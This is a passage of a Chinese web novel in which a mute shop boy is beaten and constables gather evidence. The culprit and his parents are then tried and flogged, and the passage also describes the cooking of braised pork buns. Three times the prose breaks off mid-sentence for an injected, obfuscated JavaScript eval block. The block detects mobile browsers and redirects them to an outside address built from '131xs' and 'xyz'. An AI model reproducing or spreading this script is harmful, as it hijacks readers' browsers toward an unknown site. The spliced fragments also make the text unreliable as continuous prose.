“已经请了郎中回去看了！这孩子本就不会说话，又被吓得一直哭，我什么都问不出来，这才想过来问问你们知不知道发生什么了！” 苏月娘摇了摇头，“戌时晚饭一结束我就让阿平回去了，那时候我还让我哥带阿平走一截，可阿平一直坚持可以自己一个人回去……所以我就站在巷子口看他走了一截才回来……” 刘昌重重叹了口气，“大概是在半路上被哪个狠心的混蛋给打的，明日一早我就去报官吧！” 说罢，刘昌转身就要回去看看阿平的情况。 既然阿平是在下工回家的半路上出的事，苏月娘等人自然是得跟去看一眼。 …… 刘昌家离月娘小吃铺还算有点距离，抄了小路大概还需要一刻钟的脚程。 半途，苏月娘向刘昌问询了一番，得知阿平是戌时四刻左右到的家，她暗暗算了一番，一阵心惊肉跳。 五个人到了刘家时，郎中正好给阿平处理好了身上的伤口。 刘昌的妻儿与阿平关系近，母子俩负责待在阿平的小房间里安抚阿平的情绪。 如今阿平已经不哭了，只是呆呆地坐在床上，脑袋埋在膝盖后面。 “阿平怎么样了？”许东山率先走进去，为了方便处理伤口，阿平的上半身没穿衣裳，瘦弱可见骨头的后背上棍痕交错，皮开肉绽，伤处被郎中抹上了黄色的止血舒缓膏药。 苏月娘慢许东山一步进去，瞧见阿平那一后背可怖的伤，苏月娘惊得捂住了嘴。 “这孩子一直呆呆的，连比划都不比划了！”刘昌的妻子低头抹眼泪。 刘昌的儿子站起来和四位客人问了好之后，便退到一旁去站着，好让这几人看清楚阿平身上的伤。 许东山坐在床边，打量了阿平发抖的身躯一眼，“小子，把头抬起来。” “阿平你别怕，明早我就和你阿舅一起去衙门报官！”苏月娘不方便靠阿平太近，便站在许东山身边，越过许东山轻声劝慰阿平。 虽说阿平住在刘家，但真正算起来，与他相处最多的还是店里的几人，店里的大家都对他很是照顾，阿平对他们也很是依赖。 听见了熟悉的声音，阿平这才像受惊的小兽一般，试探地抬起脑袋，看向自己身边的许东山和苏月娘。 虽然大家都做好了准备，但看到阿平鼻青脸肿的模样，大家还是忍不住倒吸了一口冷气，苏月娘甚至都忍不住落了眼泪。 “是谁打的？在哪打的你？怎么打的？” 阿平的胳膊也受了伤，他忍着胳膊的疼痛，从被窝里伸出双手，慢却杂乱地比划他知道的事情。 大家花了不少功夫，才彻底搞明白阿平的意思。 不知道是谁干的，事情在小路发生的，对方用麻袋套着他用棍子打的。 不知道是谁……事情难办了…… —— 次日天还没亮，苏月娘跟着刘昌一起去衙门报官，其他人照常开门做生意。 刘昌在官府里当差，他来报案，他的同僚便立即撇下了手头的事情带着手底下的皂隶赶去凤池镇查案。 捕快们分两头进行，一队从月娘小吃铺沿路查到刘家，另一队则是负责与住在周边的百姓了解情况。 捕快们如此声势浩大地查案，必然会引来众多厝边的围观。 最先被问话的自然是月娘小吃铺里的几人，捕快们在堂屋问话，厝边门挤在孤榻上凑热闹。 “这是出什么事情了？居然来了这么多捕快！” “听说是在这家做事的一个哑巴带着一身伤回去了！” “啊？知道是谁打的吗？” “我要知道，捕快直接过来问我好了！” …… 阿莲正走街串巷地卖豆花呢，一听见月娘小吃铺出了点事情，豆花都顾不上卖了，便挑着担往月娘小吃铺赶。 从厝边们夸张的话语中，阿莲勉强将事情拼凑了出来。 坐在店里问话的捕快们仔细盘问了小半个时辰，除了阿平离开的时辰之外，其他的一无所获。 没有听到有用消息的厝边们略失望，一个个的凑在一起根据他们听见的那些散碎的话开始七拼八凑。 有的说阿平是被歹人抢劫了，有的说是刘昌得罪人才被报复到阿平身上，甚至还有的猜测是刘昌的家里人想要赶走阿平，才背着刘昌教训阿平。 旁人怎么胡乱猜测，阿莲都管不着，但直到隔壁凑热闹的李金花过来胡诌了一句： “我看啊，是许东山和苏月娘干的！估计是那个哑巴做错了什么事情，苏月娘才叫许东山对那个哑巴下的狠手！当时我儿子就被许东山打得半死！” 李金花嗓门可不小，这话一出，所有人都听见了。 阿莲立即撸起袖子，气冲冲地朝着李金花走去，“姓李的！你胡说八道什么呢！” 刚结束盘问的许东山和林大松也立即冲了出去，还好这几个捕快曾经办过普渡那天的案子，也知道这两家姓许的之间的恩恩怨怨，怕一案未办，一案又起，那几个捕快赶忙上前隔开双方。 “都别乱晓讲（1）了！不然都拉回衙门关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15629480|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两天！” 李金花被吼了一顿，只能肩膀一缩，愤愤地瞪了许东山一眼后，夹着尾巴回自家去了。 …… 另一队捕快顺着阿平回家的那条路来回查了两回，只找见一个破麻袋和一截胳膊那样长的草绳让阿平指认。 原以为，这两样东西能成为破案的关键，但捕快们查了一番，却发现这样的麻袋多数人家家中都有。 凤池镇上人口众多，若一户一户地查起来费时费力，带队的捕头索性让手底下的人将麻袋和麻绳先收起来，换个方向入手。 —— 苏月娘原以为今日的生意可以照常做，但官差们来这么一遭到底是影响到了店里的生意，做完了中午的生意过后，苏月娘便将店给关了。 外头对阿平的事情众说纷纭，但厝边们都知道苏月娘两口子和李金花之间梁子不小，李金花那番黑白讲（2）到底是没有让大家讲话头对准苏月娘和许东山。 为了让阿平恢复快一些，许东山上街买了一根猪蹄，炖煮成汤，打算傍晚给阿平送过去。 许东山在厨房里忙活，其他人凑在堂屋里探讨阿平的事情。 一向爱耍宝的林大松难得正经了一回，“那个人将阿平套麻袋里打，连兜都没摸，基本可以排除抢劫的，而且阿平才来还没半个月，就只认识咱家和刘叔家的人，只怕动手的人是咱们两家得罪的人！” 许春喜难得从林大松嘴里听到一句有点脑子的话，倒多看了他两眼。 当然，这话林大松可没敢告诉捕快们，毕竟这只是他心里的猜测。 苏月娘的目光不自觉地飘向了堂屋的西墙，“刘叔那儿不好说……倒是咱们……应该只和隔壁那家有过节吧？” 许春喜摆弄着茶杯，头都没抬，“隔壁那家嫌疑不小，冬至之前他家的生意好不容易有起色了，却又突然被我们压了一头，以李金花的肚量，眼红也正常。” 许春喜这么说了一顿，苏月娘原先五成的怀疑，一下子拔高到了八成，而且今早李金花还刻意将脏水往自己和许东山身上泼。 “你俩说得在理！一会儿我和阿山去刘家和刘叔他们提一提!” …… 天暗了下来，街上行人渐少，长巷中只有厝边们的闲聊声。 苏月娘给哦屁送了点稀饭之后，便同许东山一起带着猪蹄汤出发去刘家了。 刚出家门，夫妻俩便撞见了李金花站在她家门口，叉着腰同对面的厝边长篇大论。 “就是一个哑巴小工而已，值得苏月娘这么帮着忙前忙后的？她要不是做贼心虚，这么积极干什么！” “你看，她今天下半天都没做生意了，指定是被查出点什么了！” 李金花对面的人瞧见苏月娘和许东山出来了，忙对着李金花使眼色，李金花这才僵硬地回过头，与两口子对上了眼。 苏月娘似笑非笑地打量着李金花，“二婶，你为什么这么着急往我们身上泼脏水？阿平的事情不会是你做的吧？” 李金花眼珠子快速一闪，立即仰着头，冲着苏月娘吼道：“跟我有什么关系！你少血口喷人！” 苏月娘将李金花的反应尽收眼底，她朝许东山笑了笑。 “阿山，我们走吧。” 89. 肉夹包 李金花的反应实在是可疑，两口子半途商榷了一番，打算将这事儿透露给刘昌，让刘昌叫他的同僚往李金花一家子身上查一查。 两人去到了刘家，刘家还没开始吃晚饭。 与刘家人一一打过招呼后，两口子拎着猪蹄汤，进了阿平的房里。 天气冷，阿平缩在被窝里头，只露出了半张难掩血肿的脸，见是许东山和苏月娘过来了，他撑着床板靠着墙，慢慢坐了起来。 “能自己喝汤吗？”许东山将猪蹄汤搁在一旁。 阿平点点头。 刘昌带着碗和勺进来，盛了一碗猪蹄汤让阿平自己端着喝。 “还特地熬汤送过来……你们两个也真的是有心了！”刘昌拍了拍衣袍，在床边坐下了。 “没多送他一截，我们也有责任……”苏月娘说罢，悄悄拉了拉许东山的衣摆，示意他提一提李金花的事情。 李金花是许家人，这话让许东山来提还怪为难他的，他搓了搓大腿，一副欲言又止的样子。 刘昌毕竟比许东山多吃了二十几年的盐，许东山一个眼神，他就能猜到许东山什么意思，“咱们都是自己人，有话你就直说！” 许东山点了点头，深吸一口气，道：“我们在家聊过这件事，怀疑阿平是被我们连累的。” 刘昌听这话，慢慢直起了腰板，若有所思地捋了捋胡须，“你不会是想说你二叔二婶干的吧？” “正是，刚刚我和阿山试探李金花的时候，她的眼神躲闪，一看就知道有鬼！” 刘昌觉得两口子的话说得在理，他回过头，“阿平，最近你有和隔壁二福……不……许氏面线糊的人碰过面吗？” 喝着猪蹄汤的阿平满面疑惑地抬起头，他初来乍到的，甭说许家两房之间的恩恩怨怨了，他连隔壁那家店里有什么人都还不怎么清楚。 他迷茫地摇了摇头。 既然阿平一问三不知的，刘昌也只能将希望寄托在同僚们的身上。 “明天我和林捕头提一提这件事！这两天，你们两个也别刻意去招惹李金花他们！省得间接阻挠捕快们查事！” 两口子郑重地应下了。 —— 生意已经耽搁半日了，若再为了阿平的事情继续耽搁，接下来很长一段时日怕是都没法好好挣钱了。 天还没亮，月娘小吃铺又飘出阵阵面线糊的香味，老主顾们依旧准时上门喝面线糊和花生汤。 从前坐得东一个西一个的食客们难得为了讨论阿平的那件事情而凑在一块儿交头接耳，吃东西的速度就这样慢了下来。 看着大家赖着不动了，苏月娘哭笑不得，眼瞧天快亮透了，苏月娘赶紧走上前去，对还在喋喋不休的吴头家道： “吴头家，您送阿敦去学堂后再回来聊也来得及呀！” 吴头家抬头向外张望，脸色大变，“糟了糟了！我竟忘了这一茬了！阿敦我们快走！” 正听得津津有味的阿敦脸一垮。 边上的其他食客这才惊觉时候不早了，忙大口喝掉碗里已经凉透的面线糊，起身去做工了。 …… 衙门的捕快们带着两张告示来到了凤池镇。 有认字的好事者上去读了一番，将告示的意思告知与厝边们。 “有一张是衙门盖了印的告示，上头说希望知道有关哑巴被打那件事消息的人可以站出来检举！” “另一张是那个哑巴的家里人写的，说有能提供有用消息的人，必有重谢！” 人群里的百姓对此议论纷纷，这事情闹得不小，大家也都知道了阿平是镇上有名的读书人刘昌的外甥。 刘昌这人有头脑善经营，虽没有家财万贯，但比起大多数人已然能称得上是小富了，他的重谢，定然不少。 告示的事情很快传到了月娘小吃铺去，苏月娘和许春喜站在家门口探头，看守在巷门口的捕快再次抓着过路的百姓问询。 问的依旧是“前日戌时前后有没有出门”或者是“有没有听见奇怪声响”之类的问题。 许春喜纳闷了，“不是说好去查李金花吗？为什么要把昨日问过的问题再问一遍？” “大概是因为贴了有消息就给赏钱的告示吧！阿平出事在戌时，这时候算不得太晚，厝边头尾也不尽然都睡了，指不定有人知道点什么，又怕得罪厝边才不敢透露给捕快们！这回有了赏钱做饵，当是会有知情人能站出来。” 许春喜觉得苏月娘说得在理，便不多问了。 苏月娘靠在柱子边认真看着，见包子铺的头家结束了问话，她赶忙对他招了招手。 包子铺头家忙走过去，“月娘头家，有事？” 苏月娘从兜里掏出一串钱递给包子铺头家，“今天三层肉买多了，正好稀饭米饭都吃腻味了，这就想着吃点肉夹包换换口味！麻烦您帮我做二十个荷叶包！” 包子铺头家接了钱，粗略瞥了一眼，“二十个荷叶包而已，跟馒头也差不了太多！你给这么多，我都不好意思要了！” “毕竟是特地另做一锅，您就收下吧！” 包子铺头家说什么也不肯多收钱，硬是只留了能买二十个馒头的铜板，其他的便都返还给了苏月娘。 —— 肉夹包顾名思义，乃是洁白松软的荷叶包夹上炖得咸香入味的焖肉。 焖肉是肉夹包的精髓，只要焖肉焖到位了，这肉夹包一定差不了。 正好，肉夹包也是闽南宴席上常见的一道菜品，许东山在宴席班子当学徒时就经常帮着他可以掌勺的师兄焖肉。 才过申时，苏月娘就催促着许东山赶紧去将三层肉焖上。 今天的三层肉三分肥七分瘦，很是适合用来做肉夹包里的焖肉。 这一块三层肉入水之后加姜片、葱结以及料酒焯至皮肉变灰白后捞出。 等三层肉放凉时，许东山找了几根头削得尖锐的竹签子，在猪皮上扎了一通。 林大松叉着腰，看了好半晌，“大哥，你为什么要扎它？你都快把它扎成筛子了！” 许东山皱着眉看了一眼并不像筛子的三层肉，“扎洞可以让这块肉更好入味！” 林大松这才恍然大悟，而后，许东山将切肉这样简单的活交代给了林大松，自己去准备焖肉的料汁了。 家里做吃食生意，用锅紧张，许东山只能选择较少被用到的小锅来焖肉。 油烧热，往里倒入一小碗白糖，热油裹挟着白糖，很快，小锅中“擦啦”声响起，冒泡的热油将洁白的砂糖灼烧成赤色，白糖逐渐化在热油之中，“擦啦”声便慢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634145|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慢地小了。 林大松端来切好的三层肉片，用手快速地将三层肉拨入糖油锅中，三层肉上残留的少许水分让油锅里的油噼里啪啦地炸起来，白烟快速向上飘散，许东山撸起袖子抄起锅铲，迅速地给三层肉翻面。 林大松暗道老师傅就是老师傅，胳膊跟铁打的一样不怕烫。 三层肉经过数次翻炒之后均匀地裹上了金黄偏红的糖色，许东山使唤林大松找个砂锅来，而后将锅里的糖油和三层肉一起倒进砂锅里头，而后加入清水、香叶、八角、桂皮一类的香料、生抽老抽盐等调料。 扣盖焖炖两刻钟，两刻钟过后再打开砂锅盖子，翻一翻三层肉，以防三层肉粘锅糊底。 …… 天即将黑了，到了捕快们下值的时辰。 林捕头召集下属们问了一番后，发现并无所获后，林捕头失望地啧了一声，挥挥手，示意大家可以离开了。 下值了的捕快们脸上洋溢着灿烂的笑容，同林捕头说过一声后，便三三两两地结伴离开了。 走在最后面的林捕头看了一眼已经挂上了打烊招牌的月娘小吃铺，遗憾地叹了一口气。 今日他站在这附近巡逻，闻见从这店里头飘出来的姜母鸭味早就馋疯了，奈何公事在身，不得随意停歇，等他闲下来了，人家的姜母鸭早卖得一干二净了。 没能吃上姜母鸭的林捕头转身往前走，途径一处暗巷，忽然听见有人喊他。 “捕头！捕头！” 林捕头朝着身后看去，见是住在月娘小吃铺对门的林阿婆，这处暗巷也是林阿婆家的后巷。 林阿婆猫着腰，看起来紧张兮兮的，“捕头你过来！” 林捕头随着林阿婆走进了暗巷里头，林阿婆数次朝外张望，怕被人发现，她还拉着林捕头回了自己家里。 到了屋里，林阿婆才放松下来与林捕头道：“今天你们的人过来问话，我……没敢说实话……” 林捕头皱眉，“没事，您尽管将您知道的告诉我，剩下的事情我们会去解决！” 林阿婆搓了搓手，谨慎地将声音压低了，“对门的那个哑巴小工出事的那天晚上，还不到戌时，我洗完碗筷忽然想起下地收菜的时候忘记将锄头带回来，怕锄头被人偷走，我摸黑出了门，那时候我走出巷口，远远地就看见对面二福家的儿子手上抓着一个像麻袋一样的东西往北边走。” “北边……阿平走的那条小路不正就在北边吗……”林捕头喃喃后，目光灼灼地看向林阿婆，“你确定是许东石吗？” 林阿婆极为肯定地点头，“我不可能认错的！因为那个人不小心踩到石头了，还骂了一句很难听的话！那声音绝对就是许东石那个坏东西的！我一定不可能认错！” 得到了林阿婆极为肯定的回答，林捕快心里头有数了。 “我这就去找人过来查，如果有需要您出来作证，您……” 林阿婆连连摆手，“能不能不让我出去！我怕那家子蛇蝎心肠的会来报复我这个老东西！” 林捕头打量了一眼腰背佝偻，头发发白的林阿婆，这样孤苦无依的老人家若真要被李金花针对，怕是反抗不过。 “您不去也成！这事儿不影响！”林捕头匆忙转身离开了林阿婆家，前去追还没走远的下属们。 90. 肉夹包2 月娘小吃铺内，一派其乐融融。 包子铺头家送来的二十个荷叶包入锅重新热过一会儿后，与香喷喷的焖肉一齐端上了饭桌。 难得一日是吃肉夹包，大家都期待不已。 光吃肉夹包可不成，苏月娘还特地让许东山留了一汤盆的竹筒骨汤用来润肠解腻。 “大家都敞开肚皮吃！每人至少吃三个！” 包子铺头家做事讲究，特意在折成半圆形的荷叶包上印了一个大大的花图。 林大松率先抓起一个荷叶包从中展开，再抓起筷子，夹了两大块肥瘦相间的焖肉放在荷叶包中间，“哎呀……卖包子的也太客气了！这么大的荷叶包，吃没两个就饱了！” “今晚上要没吃完，明天继续吃！” 林大松往焖肉上浇了一勺肉汁后，将两叶荷叶包往中间一合，递给许春喜。 “春喜先吃！” 苏月娘瞅瞅笑得开心的许春喜，再瞅瞅为了大家的饭食忙活到现在才从厨房出来的许东山。 “快吃吧！别看我了！”许东山往苏月娘身边一坐。 苏月娘知道许东山喜好吃肥肉多一些的三层肉，便着手从盆里挑出三块肥一些的焖肉夹上。 “吃吧！” 看着妻子递过来的肉夹包，许东山欣然接受。 “你也吃。”许东山接过苏月娘给他包的肉夹包后，张大嘴巴，一口将重叠了好几层的肉夹包咬穿了。 肉夹包的重点在肉不在包，肉夹包用的荷叶包不应太厚，不然容易喧宾夺主。 包子铺头家做的荷叶包虽然大，但却只有一指厚且松软，这样的厚度足以极好地衬托焖煮得极为入味软烂的焖肉之美味。 “这肉吃得真过瘾！如果再夹上一点卤金针菜就更香了！”林大松的话都囫囵在了嗓子里头。 许东山，“今晚上要是还有剩东西，明天给你卤一点。” 林大松连连点头，“还是大哥对我好！” 屋里六个人吃得正香，门外突传来一阵官靴踏地、佩刀哐当的急促声响。 其中还夹杂着林捕头的粗声厉喝，“你们两个赶紧去把着后门！别叫这家子人溜走了！其他的人跟我去正大门查办！” 六个人面面相觑，而后整齐划一地放下手里的肉夹包站了起来，往大门那儿跑去。 苏月娘率先将大门开了一道小缝，只见林捕头率领一队捕快朝着隔壁跑去。 “我还以为今天没戏了！没想到这么快！” 急不可耐的林大松一把将大门拉开，“咱们出去瞧瞧！” 于是，月娘小吃铺的孤榻上齐刷刷地探出六个向正手边转的脑袋。 隔壁。 正在吃晚饭的李金花一家子被突然折回来的官差们打了个措不及防。 林捕头对这家子还算客气，没有直接踹门入内，而是用力拍打门板大声叫唤： “我数三声！赶紧开门！不然我就踹门了！” 在林捕头粗声粗气的倒数声中，慌得头脑一片空白的李金花赶紧推着愣在原地的许东石往后门跑。 “你赶紧跑到后山上去躲着！千万别回来！” 怎知后门刚一打开，正要往外闯的许东石猝不及防地对上了守在后门的两个捕快。 两个捕快眼疾手快地将许东石往地上一扑，与此同时，林捕快带人踹开大门闯入了许氏面线糊店。 “将许东石拿下！押在一旁等侯搜查！” 四肢细得竹竿似的许东石被人高马大的捕快们牢牢按着半点不得动弹。 李金花见儿子被压在地上，急得扑上去要扒开捕快们。 “你们放开我儿子！我儿子又没犯事，你抓我儿子做什么！” 林捕头皱着眉，“没犯事他跑什么？” “许二福你愣在那里干什么！赶紧说句话啊！” 唯唯诺诺地缩在一旁的许二福畏畏缩缩地上前走了一步，刚要开口，便被极具威严的林捕头一眼瞪了回去。 “阻挠衙门办案，后果自负！” …… 月娘小吃铺的六人已经不满足于在自家门口看热闹了，而是走下台阶，与闻声而出的厝边们围在许氏面线糊门口探脑袋。 “月娘头家，你家那哑巴小工是阿山堂弟打的？” 这个时候事情还没全然摁定，苏月娘可不敢多说什么，“我也不怎么清楚……一切都等捕快们查清楚了再说！” 旁人继续对此议论纷纷。 李金花凄厉的哭喊声自屋里头传来，她坐在地上，和林捕头诉说着她的儿子许东石平时是多么多么听话，心地是多么多么善良，他绝对不会是殴打阿平的犯人。 但这话没人会信，许东石的名声可比放了一个月没倒的泔水还臭。 李金花哭喊了将近两刻钟，厨房那儿的一名捕头忽然喊道： “头儿！翻到了一根带血的干柴！” 林捕头瞪了李金花一眼后，快步朝着厨房走去，李金花见状，满脸难以置信，她赶忙追上去，可边上的两个捕快早有准备，李金花一动弹，他俩便牢牢地将李金花按着。 林捕头去到厨房里，小心翼翼地从下属手中接过了那根带血的木柴。 作为一个有着二十多年经验的老捕头，林捕头一闻一瞧，便几乎能够这上头的血是人血，且置放了数日。 不过这事儿他说的可不算，具体如何，还得请衙门里的仵作查一查。 天已经黑了，捕头们为了方便办案还从隔壁月娘小吃铺借来了蜡烛。 李金花通过昏黄的烛光瞧见林捕头带着一根带血木柴出来，慌忙辩解道：“这……这……这是许二福前两天搬柴的时候不小心刮伤留下的！” “哦？你说说，他伤的是哪儿？”林捕头冷笑。 李金花眼神慌乱，“他……他伤了腿肚子！” 林捕头一招手，便有人蹲下去撸许二福的裤管，许二福躲都来不及躲，边叫人将他光洁无痕的腿肚子看了个干净。 “头儿！没伤！” “没伤？”林捕头似笑非笑，“我猜猜你接下来会把每一处都说一遍……不如，让许二福把衣裳脱光叫我们查看一遍吧？” 李金花说不出话来了。 其他负责搜查的捕快们很快就带着与阿平出事的地方找到的麻袋麻绳大小几乎没有什么差别的麻袋麻绳出来了。 林捕头看东西都差不多齐全了，便下令押解许东石回衙门。 …… 许东石狼狈地被人押出家门时，围观的众人自觉地往边上躲了躲。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15641684|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>可许东石却阴沉沉地看着每个人的脸，像是在猜测究竟是否是他们当中的一个人发现了他那晚的行踪。 目送许东石被带走之后，围观的众人带着一肚子的话各回各家。 而苏月娘与许东山却相视无言。 事因真就起在许家，都是他们两个连累了阿平…… 许东山拍了拍苏月娘的肩膀，劝慰道：“明日我们一起去找刘叔和阿平好好解释解释……不管刘叔和阿平在不在意，是否要和我们家疏远，我们认下就是了，往后另寻机会弥补。” 苏月娘轻轻点了点头。 被许东石的事情一耽搁，屋里的肉夹包都凉了，许东山将两样东西重新热了热。 热东西时，大家伙都听见了李金花在冲许二福发泄。 “不是叫你将那根柴处理掉吗！你怎么还把东西藏在灶脚下！” 大概是两口子待在后院，大家伙甚至都听见了许二福的小声回应。 “我……我处理了……” “你处理了？那东西怎么还在那儿放着！” “可……可能是我……太……太害怕了……烧错了……” —— 苏月娘和许东山自认帮不上什么忙，便没有特意去衙门凑热闹。 但两人始终眼观六路耳听八方，从一些可靠人士传出的一些零碎消息凑了个整。 衙门那边的仵作已然检查过了小路上捡到的麻袋麻绳和沾血的木柴。 麻袋上勾着一些细小的树皮干屑，而那根沾血木柴也有树皮脱落的情况，经过比较，基本能够确认这麻袋上的树皮干屑便是出自那根沾血木柴。 不仅如此，仵作也比较了沾血木柴的粗细和阿平身上伤痕的大小，两者基本吻合。 这本就不是一件多难的事情，物证齐全了，除了一些琐碎，大体上便没有什么问题了。 …… 傍晚，夫妻二人也没顾得上吃饭，掐着刘昌下值归家的时辰带着补汤上刘家去探望阿平。 经过两日休养，阿平面上的伤痕淡了一些，郎中说他恢复得还算不错，过段时日便又是原先的模样。 苏月娘与许东山郑重地朝着阿平解释了事情，并道了歉。 阿平不怪他们，对两人的道歉连连摆手，待他们的态度也和从前一样依赖亲昵。 照顾着阿平喝上补汤之后，两口子又在外头与刘昌私下聊了一番。 “刘叔，阿平的事情我们实在是抱歉……那日若是我坚持让我哥送阿平过来，许东石肯定不会得手……” 刘昌看着苏月娘红了的眼眶，叹气道：“这事儿跟你们也没有多大的关系，纯粹是许东石那个畜生不做人……你们两口子也不要太过自责……” 许东山揽着苏月娘的肩膀，与苏月娘一起，同刘昌再三道了歉。 刘昌担忧地看向阿平的房间，“阿平被这事儿吓得不轻，这几日夜里，他噩梦不断……等他伤好了，我会重新替他寻一个新的差事，这样既不会叫他回想起这事儿，也能让他避开你二叔那一家子。” 刘昌会选择让阿平离开月娘小吃铺的事情，苏月娘也早就做过设想了。 但真正从刘昌口中说出来时，苏月娘难免心里难受。 她虚虚点了下头，“这样也好……” 91. 升堂：咎由自取 十二月初二清早，苏月娘等许东山准备完面线糊之后，便与他一道赶去知府衙门等着瞧升堂。 知府衙门重地，并不允许无关人等在旁围观，苏月娘与许东山能来还是因为他们两个能够作证阿平案发当日是何时离开月娘小吃铺的。 衙门大门尚未开启，夫妻二人只能站在门外等候，清早的风透骨寒冷，苏月娘才在鸣冤鼓下站了一刻钟，便冻得面红鼻塞了。 “没将寝衣穿在里头？”许东山皱着眉头，趁着四下无人，将苏月娘往怀中一拉，大手揪着她的后领，手指探入，一层一层数着她究竟穿了几件衣。 苏月娘怕人瞧见，连忙两手护着后脖子，“穿了穿了！” 确认苏月娘穿了四层衣，许东山才松开了她的后领，大跨一步，站在她的身前替她挡着迎面呼啸而来的寒风。 刘昌与阿平坐在驴车过来时，便只瞧见许东山一个人跟门神一般杵在鸣冤鼓前。 驴车停在了许东山身前十来步，刘昌一边搀扶着腿脚不便的阿平下车，一边问道：“月娘没过来？” 苏月娘听见刘昌在问自己，便从身形壮如山的丈夫身后探出半个身子，朝着刘昌和阿平挥手，“刘叔，阿平，我在这儿！” 刘昌看着能将个头不算矮小的苏月娘遮得严严实实的许东山，再捏捏穿了冬衣依旧瘦若竹竿的阿平，不禁叹气，“阿平要是有阿山一半壮实就好了！” …… 辰时，衙门开庭。 参堂众人包括在大牢里蹲了五天的许东山齐齐上堂朝着坐在高位的知府大人周伯益行跪拜礼。 着一身红色云雁补子官服的周伯益一脸严肃地扫视堂中众人，他早知今日月娘小吃铺的两口子也会过来，便多瞧了他们两眼。 两侧衙差杀威棒急促点地，口念威武。 杀威结束，周伯益宣起，人证退至公堂之外等待传唤。 公堂之上，周伯益就着案情对许东石进行问询。 一开始，许东石对周伯益的询问不甚在意，一直吊儿郎当地胡说八道，甚至推脱罪责，张冠李戴。 周伯益见许东石如此冥顽不灵、不知悔改，怒从中来，抄起手边的惊堂木，往桌案上狠狠一拍，“若你再左顾而言他，阻挠本官断案，罪加一等！” 声音传到侧堂去，苏月娘看了眼站在门边看守的两位衙差，小声朝着许东山嘀咕道：“听说打人致人重伤会责以杖刑至少五十，他持械行凶，阿平又尚未成年，本就罪加一等了，再如此与周大人胡搅蛮缠，岂不是找死？” 李金花听见苏月娘的低语，心头一慌，不顾周边还有衙差看守，忙冲出去，哭喊道：“阿石你实话实说！不然会往上判罚的！娘不能没有你啊……” 李金花此举乃是干扰审案，负责看守人证的衙差赶忙将人押了回去。 许东石本就是个没什么胆子的人，见堂上的知府大人两眼冒火，听堂侧的母亲竭力哭喊，他那点用来胡搅蛮缠的勇气忽然就没有了。 他那本就弯曲的背脊忽然就往下低了去。 周伯益面无表情地见许东石终于面露惧色，弯了骨头，再拍惊堂木，重新问询了一番。 “案犯许东石，你将十一月二十六那日的事情经过说与本官听一听！” 脸面煞白如纸的许东石怯懦地动了动唇，道：“那天我在家听见那个哑巴是自己一个人回去，便回厨房拿了粗柴、麻袋麻绳跟了他一路，到了龙眼树附近的那条小路，我把麻袋套在他身上，用麻绳扎紧，用柴打了他一顿……” 周伯益，“那你为什么打他？根据人证许东山与苏月娘的述证，你与陈平可从没有接触过。” “因为……因为……我和隔壁那两口子有仇……而且他家近来抢了我家不少生意……我就……”许东石越说越小声。 周伯益冷笑，“你和你堂兄堂嫂有仇你找他们便是！你欺负一个才十三岁，还不会说话的孩子做什么！” 许东石自然是没脸说他惧怕许东山那壮如山的身板和一下就能要掉他半条性命的拳头。 …… 许东石将犯的事情全盘托出之后，目睹许东石戌时出门的林阿婆到没到场便意义不大。 不过，讯问过许东石之后，周伯益还传唤了苏月娘、许东山以及刘昌上来证述一些能够帮助最后审判的细节。 这三个人自然是不会对许东石手下留情，甚至苏月娘还想重提许东石教唆混混去打砸她的店铺的事情，但这事儿并未被写在状纸上，周伯益照规矩驳回了苏月娘与本案无关紧要的话。 一直待在侧堂的李金花许二福听到堂上三人你一言我一语地与周伯益说着阿平的事情，吓得差点晕倒在地。 待这三人下来，周伯益又让人将李金花和许二福押上去讯问。 原因是刘昌在诉状上要求查处夫妻二人包庇许东石一事。 本朝虽也有“亲亲相隐”之条例，但相较于前朝“亲亲相隐”无罪的原则，本朝则是在常人包庇之下减一等来处罚包庇亲属犯罪之人。 李金花虽不清楚自己究竟会落到何种刑罚，但还是咬着牙争辩自己不知情。 只可惜在捕快们缉拿许东石那一日，捕快们早将她知情的事情报了上去，再加上许东山临时上场作证曾在自己家中听见李金花埋怨许二福没将东西处理好的话，两人包庇许东石犯罪的事实就此落下。 最后，周伯益看着状词思虑了一番，为许东石、李金花以及许二福定下了刑罚。 “查得案犯许东石，因殴良民陈平，致其肉绽流血筋骨伤，依本朝律‘斗殴’条，合该责杖刑五十，又因许东石存在预谋持械之行，故罪加一等，判杖刑一百，当堂执行！另择日游街示众，以儆效尤！” “本案犯许东石父许二福及母李金花，因包庇许东石殴人之行，并助许东石销械未遂，依本朝律法‘包庇’条与‘亲亲相隐’条，各罚杖刑十五，当堂执行！” —— 